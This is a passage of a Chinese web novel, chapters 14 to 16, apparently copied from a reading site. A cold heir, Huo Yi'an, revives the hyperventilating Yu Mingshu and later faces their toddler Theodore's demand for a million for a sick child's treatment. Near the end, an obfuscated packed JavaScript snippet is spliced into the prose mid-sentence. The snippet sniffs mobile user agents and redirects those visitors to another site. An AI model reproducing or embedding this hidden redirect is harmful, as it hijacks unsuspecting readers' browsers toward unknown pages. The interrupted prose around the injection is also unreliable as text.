霍懿安原本不想搭理郁明殊的,但见这人步伐一顿,身体开始打晃,之后又钉在那里一动不动。 虽然送往国外的鉴定结果还没有出,但在A市的重测结果如旧,霍懿安即便仍没有完全接受,但却越发不能否认这份客观存在的亲子关系了。 经历了长达2.50秒的深刻思考,霍懿安已经快步来到郁明殊身前。 当然,并非他对这崽和这人有多么急迫,单纯是因为腿长,没迈两步就走到了。 郁明殊却被突然闪现的高大男人吓了一跳:“您……” 话没出口,就被霍懿安嫌恶的轻啧打断。郁明殊心里闷得难受,这时候也不想再一厢情愿讨好神经病了,把客气话全咽回去,就打算这么无声地完成幼崽交接。 霍懿安扫了眼他倔强紧抿的红唇,将视线定在那双如酒渍樱桃般湿漉红肿的双眸,突然问道:“为什么哭?” 14.第 14 章 三年前因太过排斥,霍懿安连与郁明殊相关的资料都没怎么看,这次却因至今没能查到太多有效线索,他不得不亲自将全部资料过了一遍。 浮于表面的信息不可轻信,但郁明殊的三次“意外”走红的确都是靠脸完成的。 虽然不能排除郁家为了托举儿子,在背后动了多少手脚,但从市场反馈来看,的确有不少人认可郁明殊的外表。 即便如此,霍懿安仍不觉郁明殊拥有多么惊人的美貌。 他之所以亲自来接,主要是因为傍晚时分父母的一通电话。 他们询问他滞留国内的原因,是否是想避开他们回到B国后要进行的双人出行分享会。 霍懿安虽然给出否定回答,但因不能直接言明崽子的存在,霍懿安无法给出足以令人信服的理由,因此被强制开启了一场长达二十分钟的跨国线上家庭分享会。 虽然这是心理医生多年前给出的建议,他为了更多的权力和自由也跟父母签署了纸面协议。 但每次听父母谈论那些他完全不感兴趣的日常分享,霍懿安还是会觉得异常头疼。 不过即便他再是不愿,也会认真履行协议条款,所以他不仅要强迫自己认真听父母以偶遇顽皮幼崽为切入点,追忆他三岁前的辉煌童年,并试图引出想要领养一位继承人的想法。 比如刚能站起来就会拼命疯跑,然后摔得一身是伤,想控制他不乱跑,他又会像小兽一样嘶吼个不停,只能由大人强行牵着跑。 小小的身体里大大的能量,几次差点将身体虚弱的母亲当风筝一样放飞。 最难缠的是,他还极其排斥陌生人的触碰。 当时霍云轻遭遇羊水栓塞死里逃生,直至今日身体都没能完全养回来,在霍懿安三岁前就更差了,带孩子的重担自然落在了唯二被允许近身的父亲身上。 一边是病弱的妻子,一边是难以应对的幼子,男人扛起家庭重担的同时也难逃产后抑郁泥沼,好在这般地狱的生活仅持续到霍懿安三岁。 小霍懿安突然对数学产生了浓厚兴趣,从此一发不可收拾,每每谈及此事,霍父都要操着最纯正地道的中文朗诵一句:“数学真是人类至高无上的文明!” 当然,霍懿安对此从不承认。 一方面是因他过目不忘,对三岁前的记忆却寥寥无几,另一方面也是父母并未录下太多有力证据,而对方给出的理由是他每次闯祸都发生的太突然,或者总能精准避开监控镜头。 没有直接证据,就有可能夫妻窜供,霍懿安有理由认为父母对他三岁前的回忆严重注水,起码有着相当夸大的成分在。 不过现在,多年没听父母老调重弹的霍懿安,却难得没有坚决驳斥。 本就刚拿到最新重鉴报告,再听父母提及他那严重被注水的童年,霍懿安实在很难不产生亿些联想。 他的反常沉默,倒是让视频镜头另一端的父母有些不习惯:“……你怎么不说话?” “我和你妈咪没有催你改变不婚主义的想法,也没有希望你制造一个后代出来,只是单纯有点可惜,让你失去亲自体验我们当年生活的机会。” 一旁品茶的母亲放下杯子笑着赞同道:“懿安这个品种的婴儿,在外面根本找不到。” 很显然,夫妻俩这些年在确认儿子不会结婚有后代后,也没少在这方面花心思。 只不过不同于大多数催婚催育的父母,他们半是玩笑半是认真地想替儿子领养个同款魔丸。 每个人都应该有属于自己的精准报应,他们的儿子因天生神经发育异常,已经比普通人缺失了太多情感,自然需要更强大的刺激。 因霍懿安脑中总是会反复载入崽子的尖锐爆鸣,又会自动浮现小东西对郁明殊百依百顺的狗腿模样,以至于二十分钟的家庭分享会,过得像半个世纪那么慢长。 虽然因越发确凿的亲子关系,让霍懿安决定将崽接回,但他本可以让张秘书来接的,他还是亲自来了,这和小东西的双标行径脱离不了关系,他总是会想起那张脸。 也不知是因为郁明殊哭得确实好看,还是因为张秘书的丑陋面庞在他眼前晃了太多次,将眼前的郁明殊衬托得有些美丽,霍懿安内心深处莫名产生了一丝微不可察的怜惜。 ——“为什么哭?” 这话实在不像是霍懿安能吐出的象牙,毕竟这人前一秒还在啧他,郁明姝以为是自己没听清,对方应该说的是:哭什么哭! 郁明殊虽然正难受着,也很想回一句:关你屁事。 很可惜,他现在只是有些被负面情绪击中,郁闷难言有点想死,但不是真的想死,所以他只是垂下眼小声说了句“抱歉”,看着酣睡中格外可爱的小幼崽,缓缓将手臂递出。 霍懿安没有马上将崽接过,仍旧面无表情盯着那双被泪水濡湿的红肿双眸。 直到余光注意到郁明殊的双臂如同振翅的蝴蝶般轻微抖动起来,虽然一开始的幅度微不可察,但却无法逃脱霍懿安5.4的超强视力。 这人不仅矮小、过瘦,连力气也小的可怜。一边这么想着,霍懿安很快将崽子接了过来。 看起来比实际年龄大一圈的白嫩胖崽,到了霍懿安手里就跟个轻飘飘的塑料小手办似的。 即便抱崽手法极度不娴熟,但因为手掌大而有力,简单调整了片刻他很快便将崽子抱稳。 霍懿安已经算上手极快的了,但也不知是熟睡中的崽子有所知觉,还是单纯被扰到了,即便双眼紧闭还是皱眉咧嘴仿佛下一秒就要开闹,直到霍懿安快速用双手将他稳稳承托。 人在完全陌生的领域更容易获得成就感,就比如现在的霍懿安。 可能也是傍晚被父母念了太多,霍懿安突然觉得也许并非他太难带,而是父母当年不会带,不然小孩子身上又没长刺怎么会落床就醒? 很显然,他在这方面比父母更有天赋。 思及此,霍懿安下颌微扬,唇角勾起极为浅淡的弧度。 不过这一抹几乎看不出的弧度,在郁明殊一言不发转身离开的瞬间消失了。 ……就这么走了? 他不是表现得一秒都舍不得这崽吗? 为什么不借此机会攀上他? 对方矮小单薄的背影渐行渐远逐渐隐没于黑暗中,郁明殊似乎不是假哭给他看的,而是真的发生了什么,连一直以来的苦心筹谋都顾不上了。 霍懿安下意识想追上去问个清楚,但步子还是在迈出的瞬间顿在了半空。 虽然异常情况意味着更容易发现漏洞,但难保这不是郁明殊的计中计,毕竟对方是专业表演院校的学生。 即便如此认定,但当霍懿安低头看向怀里仍旧安睡的崽子,却突然觉得自己天赋太高也不是什么好事。 敏锐地察觉自己还是想跟上去一探究竟,霍懿安的眉头顿时皱得更紧了,强烈的排斥感在内心疯涌,几乎让他隐隐作呕。 * 虽然送还小幼崽,让郁明殊感受到无与伦比的难过,但他没有再哭。 过去的经历让他深刻理解,哭是最没有用的事情,流泪不会让事情产生一丝一毫的转变,反倒还会让他陷入更深的绝望而力竭。 除非是撞上沈哥家这般催泪的情况,平时他都会努力压抑爱哭的天性。 郁明殊感觉自己手抖得厉害,回程开得就尤其慢。 他其实一点都不怕死,只是怕自己一条烂命再牵连到别人,以及万一出什么意外落个半死不活,情况只会比现在糟糕百倍。 郁明殊被风吹得清醒不少,才意识到自己竟然没戴头盔,立即找了个安全位置刹停,抖着手将头盔戴好。 长睫垂下,视线定格在身前的儿童座椅,崽子的小头盔正安静地陈放在里面。 虽然明知黑夜总是容易将他本就低落的情绪拖入深渊,但郁明殊还是有些无力对抗席卷全身的情绪风暴。 其实他很享受送外卖忙得脑中只有订单的状态,这样不论夜再深,他都无瑕思考其他。 一旦闲下来,脑中的沼泽就会翻涌甚至沸腾。 一开始他会深呼吸转移注意力,但现在就算反复深呼吸调整,他的思绪也很难转圜,在有意识自救时,他会迫使自己打开手机随便看些什么,或者吃点安眠药强制重启。 只要睡醒,就又是新的一天。 但这招对环境要求较高,郁明殊便打算拿出手机给自己放些高能量嗨曲,先把自己运回家再说。 就在这时候手机意外响起,看着屏幕上不断跃动的来电提示,郁明殊身体一僵,犹豫再三还是接了起来。 “您好……” “小殊,你真的不要爸爸妈妈了吗?” 郁明殊鼻头一酸,就听电话另一端又传来养父的声音:“你跟那个白眼狼废什么话,直接问他是不是已经搭上了霍懿安。” “你少说两句。”女人声音温柔,就连斥责丈夫时亦是如此。 她松开掩住话筒的手继续对郁明殊说道:“小殊,爸爸妈妈在网上看到视频才知道你现在竟然在送外卖,既然在外面过不下去,为什么不回家?” 郁明殊听着女人温和柔软的声音,心里却感不到半分暖意。 虽然母亲的温柔关怀很容易令他误解,甚至一度无法相信母亲会同意父亲将他卖给薛董的决定,但事实就是如此。 郁明殊恍惚一瞬,还是很快清醒过来:“您误会了,我只是偶然撞上霍懿安,他根本不认识我,更别说搭上了。” 女人还要说些什么,郁明殊先一步打开天窗说亮话:“我在外面过得下去,所以如果您还是想劝我回家配合父亲的决策,就算了,我还要继续送外卖,先挂了。” 话音未落,听筒里果然传来男人暴躁的咒骂声,郁明殊麻木地挂断电话。 其实早些年父亲对他并不是这么糟糕的,可能是那时并不知道他是抱错的,也可能是那时对他的婚姻价值充满 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幻觉,不可能带来如此真实的五感,郁明殊一下就清醒了。 “……嘟、嘟?” 四目相对,一大颗泪瞬间滴落。 张秘书坐在副驾驶的位置,看得极为清晰。 直到这一刻,目睹仙子落泪现场,他才算隐约弄懂为什么霍总坚持要将睡着的崽捆进安全座椅,并成功将其扰醒开启新一轮的魔音贯耳。 这个人机,他变异了! 难怪一进出租屋,就让他准备换洗衣物。 也难怪会有孩子,看来这人机早就变异了,他之前果然没想错!张秘书以一分钟三千字的超绝效率,很快将脑中剧情进一步完善。 霍懿安看着爸崽抱头痛哭,一副谁都不能将彼此分离的模样,但他显然不能将生物学上的崽子留在这种地方过夜。 霍懿安无可奈何走下车,未站到爸崽身前,就和面朝向他的郁明殊对上视线。 盈满泪水的可怜眸子顿时一颤,仿佛下一秒就要碎掉。 即便如此他还是强打起精神,试图阻断自己已经上气不接下气的哭声。 再是精神混乱,在对上霍懿安冷酷的眼神时,也会清醒意识到自己是没资格占有怀中小幼崽的。 然而他拼命咽下自己的哭声,却不仅未能停止抽噎,身体还抖得更加剧烈,他四肢发麻,感觉自己无法喘息,甚至无力拢住怀中的崽。 好在崽子攥得极紧,哪怕郁明殊突然松手,小幼崽也能扯着爸爸的领口完成缓降。 而一旁的霍懿安也第一时间做出反应,崽子将郁明殊的T恤领口扯过肩头,即将撕开前,圆滚滚的小屁股就被亲爹从身后托住。 崽子却顾不上自身,意识到爸爸情况不对,虽然难以理解也无法描述,但他还是立即抓住爹地的手臂大叫:“拔拔!救拔拔!” 实际上在接崽前,霍懿安就基本确认郁明殊是呼吸性碱中毒。 人体对他来说是一台设计精妙但又充满缺陷的机器,不论是出于对自身秩序、健康的执着,还是幼时对“人体系统”运作的好奇,都曾促使他主动学习了大量医学知识。 所以他几乎是立即将崽放下,迅速将手掌拱起并覆上郁明殊的口鼻。 呼吸性碱中毒其实就是因剧烈的情绪波动,导致人短时间排出了过多的二氧化碳,只要适度再吸回去一些二氧化碳,症状就能立即得到缓解。 手捂上去的第一感觉是这人实在过分瘦小,脸甚至都没有他手大……这个想法刚冒出来霍懿安便陡然一僵。 被湿热气息不断冲刷的手心感到从未有过的麻痒,甚至沿着表皮细胞一路钻进心里。 体感和他五岁那年误食坚果时有所差别,但剧烈程度旗鼓相当,霍懿安当下便想甩开手,可对上郁明殊涣散的泪眼,他还是迟疑了。 救人要紧,霍懿安只能勉强忍耐。 在郁明殊身体稍恢复些力气时,他先将撑着对方左肩的手拿开了,结果就是突然失去支撑的郁明殊一下倒进他怀里。 紧贴他胸膛的……正是被崽子扯落T恤露出的白裸右肩! 犹如无数揿针轻刺般的麻痒顿时席卷全身,霍懿安额角的青筋瞬间偾起。 虽然心里已经将郁明殊连人带车甩出三里地,但理智让他对病患手下留情,即便如此,剧烈排斥带来犹如严重过敏般的钻心麻痒,还是让他无法多忍一秒。 霍懿安试图通过立定后跳闪电般拉开距离,但他忘了地上还有个地精般的崽子,正围着他们焦急乱转。 滞于半空时才意识到这点,霍懿安只能在即将撞飞崽子前强行转舵。 郁明殊的双眸刚恢复焦距,就看到霍懿安像突然被电打了般,莫名其妙原地后跳,经历短暂滞空和抽筋般甩身后狠狠摔了个大腚墩。 郁明殊用力眨了眨眼:……? 15.第 15 章 霍懿安的行为实在让人找不到什么逻辑,郁明殊感觉自己不仅是状态不佳产生幻觉,完全是吃了菌子的程度。 不然他怎么会看到霍懿安凌晨当街跳霹雳,还狠狠在他脚边摔了个大腚墩? 原本崽子正围着俩爹焦急地伸长脖子乱蹦,试图变着花样拉高视线看清爸爸的最新情况,没想到变故陡生,铂金色的毛绒小脑壳瞬间从高高仰起转为震惊低下。 霍懿安疼得眼前一片白光,本该通过吼叫转移痛感。 但这实在有失颜面,十五岁过后他便没用过这一相当有效的疼痛转移法。 同时也更为注意减少一切受伤可能,甚至包括跌跤磕碰。 霍懿安认定自己痛感异于常人,而非耐痛力低下,也正因如此,他对父母提及三岁前时常受伤的回忆抱有诸多怀疑…… 不过这不重要,当务之急是咬紧牙关,将返祖般的痛吼全都咽回去。 霍懿安艰难保住颜面,一睁眼对上两张极为相似的探究脸庞,不同的是崽子更加胆大妄为,竟然已经伸出小手要往他眼尾抠,似乎是发现他溢出了痕量泪液。 男人一把挥开小家伙的手,面无表情站起身,理了理略显凌乱的西装领口:“看什么看?” 郁明殊一下想起男人之前那句“哭什么哭”,脑子一抽就将心里话说了出来:“没看过‘立定跳近’好奇呗。” 话一秃噜出来,郁明殊就自知失言,他怎么敢当面蛐蛐霍懿安? 虽然这人行径确实很值得蛐蛐,但就算不考虑身份,霍懿安刚刚也救了他一次。 见霍懿安脸色变黑,郁明殊立即低头认错:“抱歉,我又乱开玩笑了,您没摔坏吧?需不需要去医院?” 霍懿安没回答,垂下深邃蓝眸打量眼前人:“你更需要去医院。” 郁明殊感觉自己已经缓过来了,实际上此刻的他脸色苍白如纸,桃花眼也不似平时那般有神采,虽勉强挤出社交性质的浅笑,却只让人觉得苦涩。 更重要的是,即便他紧攥着五指,手却仍在发抖。 病痛不是一日形成的,不可能仅因他们突然出现的打断就痊愈,霍懿安的就医建议也并非完全是为了转移话题。 郁明殊再次垂下眼,不知道想到了什么,被长睫遮住眸子越发暗淡:“我已经好了,不用去医院。” 缓了一口气又再次挤出笑颜:“刚刚真的非常感谢!不然我恐怕会晕在路上哈哈……”实际上说话间,他身体仍旧呈现很轻微的抖动。 时间早已突破霍懿安的作息表,他本就感觉严重不适,更别说还进一步遭遇“郁明殊过敏”和摔倒误伤,但这些积攒下的全部负面情绪,都不及他看到郁明殊笑脸那一瞬突然爆发出的多。 霍懿安长眸微眯,眉宇间阴云密布。 虽然郁明殊是生是死都与他无关,但这人偏偏撞到他眼前,让他清楚发现病状,却又不肯按照他给出的正确建议行事…… 霍懿安幼时曾痴迷走直线,只要沿着横平竖直的地板边线走路,心里就会获得安心与畅快。 现在他将自己的生活也塑造成一条条平直边线,按照既定程序完美运行的每一天都让他感到安全稳定。 而现在,郁明殊的一切行为,都像是故意将他定好的边线扯乱,霍懿安忍不住想出手管理,却又不得不怀疑这是对方故意为之。 三年的时间,足够对方做出全面充足的准备,并对症下药,精准抓取他无法忍受的痛点。 静默片刻,霍懿安将视线移开:“随便。” 不论如何,他都不会中计。 霍懿安看向紧扒在郁明殊身上的生物学崽子:“西奥多,该走了。” 此话一出,原本乖软甜糯的可爱小崽突然也跟电打了一般开启震动模式,毛脑壳和小圆屁股高频扭动,嘴里也嗡嗡个不停:“呜呜不!呜呜宝不!!呜呜呜宝不肘!!!” 郁明殊同样不舍,他真的很想将孩子留下来,但也知道这是不可能的。 就算崽子不嫌弃这边陈旧简陋的环境,霍懿安也不会放任,更不要说他还被霍懿安撞见了最糟糕的时刻。 霍懿安面无表情看着崽子发癫,郁明殊俯下身抱崽温柔低哄,如是拉锯了五分钟也没有丝毫进展。 男人只能无可奈何给出折中方案:“他不能留下,但今晚可以允许你跟过来。” 郁明殊难以置信,埋在他怀里的小幼崽却撅起小嘴:真是便宜坏蛋爹地了! 崽虽然至今搞不清爸爸和爹地之间发生了什么,为什么两人都不认识他这个全世界最珍贵的小宝贝,但坏蛋爹地的全部恶行他都牢牢记在心里了! 不过他现在还没有什么好办法,只能勉强同意跟爸爸一起回爹地家了。 * 虽然崽子得偿所愿,起码今晚不会再跟爸爸分离,但他还是无法对现在的爹地放心,所以全程都像只吸盘崽子般紧紧扒在郁明殊怀里。 坏处是拒绝儿童座椅会有一定的安全隐患,好处是这次的车后排只有两个座位,刚好可以一起坐下两大一小。 不过上车后两个大人就再无交流,全程都是郁明殊带崽坐在司机后方黏腻絮语,霍懿安则偏开脸,面色冷肃一言不发。 看起来是不屑与之为伍,实则暗中发力顾不上其他。 他原本已经不疼了,但坐进真皮座椅的瞬间爆发的巨大痛感差点将他送走。 之前摔伤的整片区域都疼痛难忍,霍懿安完全坐不下,但又不愿被车上所有人察觉端倪,只能凭借强大臂力支撑全身。 也就是车内光线不佳,否则但凡爸崽二人分出些许余光,就能发现霍懿安额角、颈侧的青筋全都暴起,身上的西装也因手臂肌肉充血而显得异常鼓胀,不知道还以为要变异了。 索性郁明殊的出租房离下榻酒店本就不远,霍懿安凭借强大臂力还是成功保住颜面。 但直线距离再短,兜兜转转绕来绕去还是花费了不少时间。 霍懿安为了全程不再让臀部沾到座椅,青筋都要憋爆了,本就强弩之末,再加上他敏锐察觉到身侧传来的窥伺目光。 是以汽车一停稳,霍懿安便以迅雷不及掩耳之势跳下了车。 霍懿安跳车前,崽子已经迷迷糊糊趴在郁明殊怀里睡着了,郁明殊不需要再听崽子的黏腻小废话,见车要停了,就好奇看向霍懿安方向。 郁明殊根本没发现男人的异常,也并非居心叵测暗中打量,单纯是好奇一会儿怎么开车门。 他不是第一次坐这辆车了,但上次就差点没能将银色拉手拉开,他怀疑自己搞错了,这么贵的车应该是电动门,为了不扰醒怀中崽,他准备先看下霍懿安怎么优雅下车再照葫芦画瓢。 结果霍懿安跟个跳蚤似的,唰一下就闪没影了。 别说郁明殊了,准备下车绕到后方开门的司机都愣了。 不过郁明殊还是学会了这车的开门方法,自己硬拉硬推虽也是个办法,但更“正确”的应是由司机从外拉开。 郁明殊虽然注意小心保持身体稳定,但崽不久前刚经历了睡太沉被坏蛋爹地偷走,这会儿哪怕困得不行,也无法掉以轻心,稍有风吹草动立马挺起小身体瞪大双眼找爸爸。 确认没换人,崽子才重新软软贴回郁明殊怀里 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等爸崽二人冲洗完,崽子还想拉着爸爸泡澡,仿佛是个舍不得离水的小人鱼幼崽,完全洗不够。 但郁明殊见他脚下发飘、眼皮打架,随时都能昏睡过去,便一边给崽裹浴巾一边劝崽下次再泡。 这一整天的“爸比守卫战”实在累惨崽子了,西奥多小朋友本就坚持不下去,一听说还有下次,便呲着小白牙开心地闭上眼,就这么昏睡在郁明殊怀里。 崽不仅美美睡下,还做了个超级美梦。 梦里爹地不仅从坏蛋版变成好蛋版,还不再限制他和爸爸见面。 而爸爸则抱着他一边猛亲,一边承诺以后每天都陪他洗澡,每天都抱着他睡觉,还会陪他去游乐场、去骑小马、去奶奶家喂大猫…… 崽子被幸福得不要不要的,就这么把自己笑醒了。 肉脸蛋埋在爸爸的浴袍上蹭了又蹭,一双白嫩小手捏着爸爸睡袍攥了又攥,像个急需踩奶吸人的小猫咪,直到崽子将探寻的小手往外伸了伸,才惊觉不对! 爸爸的味道还在,但人已经不在了!和他贴贴的不是爸爸,而是爸爸的睡袍!!! 崽差点瞬间崩溃,好在张秘书及时收到宝宝监护器的提醒,在崽子仰天怒嚎前拿着手机冲了进来。 “嘟嘟不哭!你爸爸给你留了消息,你先听完!” “拔拔牛了消息?”哭意戛然而止,崽子吸了吸小鼻子点点头,还没忘提醒秘书叔叔,“补要叫嘟嘟。” 张秘书在脑中转了一圈,才隐约明白这崽是在告诉他,嘟嘟是只有郁明殊能叫的专属爱称。 虽然不是第一次见识崽子的双标了,但他还是有些难以置信地问道:“不叫这个,应该叫什么?” 崽子已经将张秘书的手机拿在手里了,但还没搞明白爸爸的留言怎么打开,崽一边乱戳一边心不在焉答道:“嘘嘘阔以叫Theo啊。” 张秘书满意了,霍总还只能叫完整版的Theodore呢,他已经被允许称呼崽子的简短昵称了。 虽然比上严重不足,但比下也非常有余了! 在张秘书暗中攀比的时间里,崽子很快将爸爸的留言听完了。 鸦羽般浓密长睫还残留着细碎泪珠,崽却已经将爸爸的睡袍一卷抱在怀里,一个滑铲蹭着厚实床褥丝滑落地,然后倒腾着小短腿直奔坏蛋爹地的房间而去。 很快,崽便抡圆小短胳膊砸上了霍懿安的房门。 一边砸还一边用老登爆金币的口吻喊道:“爹地,给宝一百万!” 16.第 16 章 郁明殊没有敷衍崽子,在发给张秘书的语音里,他很仔细认真地向崽解释了自己一早就离开的原因和必要性。 他要去帮沈叔叔家生病的小哥哥拍视频筹集治疗费,这是昨晚就说好的,当时崽子也在场。 为避免崽子醒来后跟霍懿安这个“舅舅”闹,郁明殊也就没提他没带崽一起去的真实原因是他没资格,只说看崽睡得太香甜太可爱了,没舍得将他唤醒。 郁明殊的努力没有白费,崽子在听完留言后没有继续肆意爆炸,而是像颗移动小炮弹似的,精准轰向了睡梦中的霍懿安。 崽子的想法很简单,爸爸是为了筹钱才离开的,而他在哪怕对金钱没什么概念的mini幼崽期,也知道爹地有好多好多好多钱,奶奶也有好多好多好多钱。 虽然他不清楚具体有多少,但他清楚白血病小哥哥再筹一百万就够了,崽不懂爸爸为什么不直接问爹地要,所以……崽!来!要! 而门板敲锣打鼓般响起前,霍懿安才刚睡下不久。 虽然摔痛的位置半夜就找医生诊断过,但尾骨挫伤没什么特效药,只能多休息慢慢静养。 患处不碰不疼,没必要吃止痛药,但受损的酸胀感持续存在同样扰人,他冷敷了一阵也没什么效果。 也许是受这份异样痛楚的折磨,也许是因坚持多年的作息表被打破,也许是对郁明殊的强烈“过敏”反应,霍懿安陷入了严重失眠。 所谓严重是哪怕服用了安眠药,他依旧在床上趴到了天明,异常活跃的大脑皮层令他思绪不断,反反复复回忆着凌晨时的种种细节。 以至于他不得不思考一番,他为什么会到这副田地。 果然是郁明殊的错。 还有那个满地乱窜的小东西的错……如果再仔细想想,也许张秘书也有问题。 这人,未必非得他亲自救。 但凡张秘书稍微懂点医学知识,就应该及时冲过来,避免他和郁明殊直接接触。 郁明殊就更是了,明知自己矮小病弱就该提前学习自救知识。 更遑论他出手相救之际,这人竟还往他身上贴,产生的强烈“过敏”反应让他不得不选择紧急避险…… 恩将仇报,不过如是! 在难以入眠的煎熬时刻,霍懿安一闭眼就是反复回忆、想起这些。 也就是郁明殊没有读脑术,不然非得给他配个BGM:本来应该是从从容容游刃有余,现在是匆匆忙忙连滚带爬…… 在这般情况下,霍懿安直至天亮才勉强入眠。 然而睡了不到三个小时,就被生物学上的崽子给敲醒了。 保镖深谙小少爷鬼哭狼嚎的本事,既怕崽子的尖锐爆鸣也怕崽子把自己哭伤,根本没人敢拦,崽就这么一路畅通无阻冲到卧房门口。 霍懿安听着震天响的敲门声,以及穿插其中同样声量惊人的中英双语版崽崽嚎叫—— “爹地!给宝一百万!!!” “爹地!不要装睡辣!给宝一百万!!!” “爹地!宝要给拔拔拿一百万!坏蛋爹地快点起床啦!!!” …… 就是个死人,也能给吵活,更别说霍懿安这个失眠患者了。 本就攒了一肚子火气,下床时没顾上尾骨损伤动作过于大开大合,瞬间引爆的疼痛让霍懿安脑后冒凉风。 霍懿安正面容扭曲地僵在原地,门外的催爹崽越发变本加厉,在“锣鼓喧天”和“尖锐爆鸣”中又混入了撕心裂肺的海豚音哭嚎。 霍懿安感受着身后剧痛,听着一声声催命般的“爹地”,以及话里话外都是给郁明殊讨钱,火噌的一下就烧穿了,直接怒声斥道:“别喊我爹地!” 他没有这种孩子! 即便血缘鉴定出两人存在生物学上的亲子关系,但这崽本就来路不明,还满心满眼全装着郁明殊这个糟心家伙,这崽不认也罢!! 实际上霍懿安本就暂时将极可能存在的父崽关系搁置了,一切都要等到所有亲子鉴定结果出来,并指向他们100%存在父子关系再说。 霍懿安自己也清楚,一时急火攻心脱口而出的气话算不得数,但未满三岁的小幼崽却未必知道。 总归是霍懿安怒声斥完,一门之隔的崽子还真就不喊了,甚至连门也不敲了,霎时间套房内落针可闻。 就连霍懿安都罕见地读懂了空气,反思……反思是不可能反思的,他认为是这崽年纪太小,心理承受能力太过脆弱。 虽然没有反思,但霍懿安还是难得大度地压下之前的不满,准备听一听小崽子的需求。 霍懿安门一打开,安静片刻的崽子便唰的仰起小脑袋,两双色调纯粹的湛蓝眸子就此对视。 凭借5.4的好视力,霍懿安一下就看出小家伙眼尾泛红,带着两分泪意的桃花眼像极了某人。 挥掉脑海中乱入的某张脸,霍懿安眉头微蹙,他的孩子怎么能这么脆弱? 想法刚冒出来,就见小家伙眨巴着大眼睛毫不犹豫说道:“嘘嘘!给宝一百万!” 霍懿安:“…………” * 虽然按爹地要求叫了叔叔,但对方也没立即同意给钱。 爹地不仅自己小气,还不同意让他跟全世界最大方的奶奶通话,崽直接气成了世界上最响亮的小河豚。 他甚至已经做好准备,如果爹地再这样下去,他就要撅起小屁股跟爹地“谈谈”了。 好在未经魔丸崽子磨砺过的年轻版霍懿安的耳膜,无法承受魔丸崽子的长时间折磨,霍懿安再次被迫同意带崽去找郁明殊。 崽子虽然急着见爸爸,但忙中有序也没忘让秘书叔叔帮他保存爸爸穿过的睡袍。 因着之前的两件T恤被张秘书洗过,所以崽子这次强调得十分认真,不许乱洗,一定要好好保存他的宝贝衣衣。 张秘书哪敢不配合,连连保证自己立马将睡袍真空塑封起来,保证一尘不染、原汁原味、完好如初。 虽然霍懿安所坐的后排座椅,已经单独为他调整为气垫版,以确保他的患处悬空不会因挤压而疼痛,但看着一本正经说废话的两人,他还是将眉头拧成死结。 只因他后知后觉意识到,纵使再多防范,他还是进了郁明殊的圈套,否则他现在怎么会带着伤还要陪崽去找那人? 虽然他此行目的是找郁明殊说个清楚,但也无法否认他就是按郁明殊的设计一步步走到了这里。 ……郁明殊所求仅仅只是一百万美金? 如果当真如此,霍懿安会考虑支付的,前提是可以直接买断崽子对郁明殊时时刻刻的渴求。 但这一场让他至今都调查不出明确痕迹的精心布局,怎么可能会仅止于百万美金? 恐怕幕后之人是想利用继承崽,逐步蚕食鲸吞掉整个…… 霍懿安眉头紧锁思绪电转之际,崽子已经交代完秘书叔叔,转动小脑瓜看向了坏蛋“叔叔爹”。 虽然他昨晚根本没听明白爸爸和叔叔姨姨的谈话,但重点他记得真真儿的,参考上次治疗费,这次最好准备一百万! 车程中没事可做,很适合向“叔叔爹”要钱,但他也怕对方突然毁约,再不肯送他去医院见爸爸了。 所以聪明崽子懂得小不忍则乱大猫猫,等到了爸爸身边,他再向“叔叔爹”要钱。 就这样,同处汽车后排的父崽二人,各自坐在他们专门的座椅中,男人严肃抱臂,崽则板着肉脸蛋抱着小短胳膊。 皆是眉头紧蹙,蓝眼凝重,各自陷入各自的深深思量中。 * 郁明殊昨晚已经将筒子楼那边该拍的都拍了,一早来医院跟沈铁峰夫妻汇合,就是想趁人少的时候多拍些医院素材。 小朋友入院后就一直在化疗,为后续的二移做准备,但不同于第一次移植是在排异阶段才开始出状况,这次移植前的准备阶段,身体就经常出问题。 这两天情况尤其不好,让夫妻俩都压力倍增。 毕竟两人就算再舍得拼尽一切卖命赚钱救儿子,也无力跟死神抢人。 最初住双人间时还被传染了感冒,夫妻俩不得不加钱让孩子住进单人病房。 虽然病床四周有起到隔离作用的塑料帘,病患在化疗期间也是可以接触低风险人群的,但郁明殊还是谨慎地戴好口罩,提前做好全面的消毒才走进病房。 不过他来的不巧,小患者后半夜出现低烧呕吐腹泻等副作用,反复折腾了几个小时才刚睡着。 郁明殊不敢打扰,先轻手轻脚拍了些素材。 沈铁峰脚伤未愈合没法跑外卖,正好留守医院照顾孩子,汪晓青昨晚虽然没怎么睡,但在配合郁明殊采访后也要去做保洁了。 郁明殊没怎么犹豫,孩子睡醒前他不能干等着,准备先去附近跑上几单,边跑边等,顺便还能送汪晓青一程。 医院的电梯是最难等的,这也是很多外卖员不爱接医院单的原因之一。 好在楼层也不高,两人直接走楼梯。 马上到一楼的时候,汪晓青的手机突然响了,一看妹妹电话,她就猜应该是大儿子那边出了问题。 郁明殊指了指脖子上挂着的运动相机,无声询问能否拍摄,汪晓青点头答应,并按下了免提。 小儿子生病后,大儿子是全家中变化最大的一个。 他变得更加乖巧懂事,因父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16627479|187644||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 母要带弟弟治病,他就只能寄人篱下,虽然小姨是妈妈的妹妹对他很好,但小姨也有自己的孩子需要照顾,所以遇到小病他会习惯性先忍一忍。 没曾想,在弟弟低烧不断的时候,远在千里之外的哥哥同样深受病痛折磨,而且这次一忍就是一夜高热,早上被小姨发现时险些烧成肺炎。 虽然本就是来拍摄病患家属的困境的,但当他听到汪晓青大儿子用烧哑的嗓子哭着询问妈妈什么时候能回来接他,他们什么时候能回到以前的家时,郁明殊还是难受得心脏闷痛、鼻腔酸涩。 汪晓青故作坚强将电话另一端的儿子勉强哄好,但电话一挂,她便堆坐在地捂脸痛哭起来。 郁明殊将纸巾递给她,刚要蹲下安慰两句,身后就传来熟悉的小奶音—— 